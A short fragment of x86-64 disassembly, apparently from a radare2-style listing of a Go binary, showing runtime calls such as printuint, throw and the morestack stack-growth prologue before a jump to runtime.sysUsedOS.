mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x00567c4b]
mov ebx, 0x1f
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUsedOS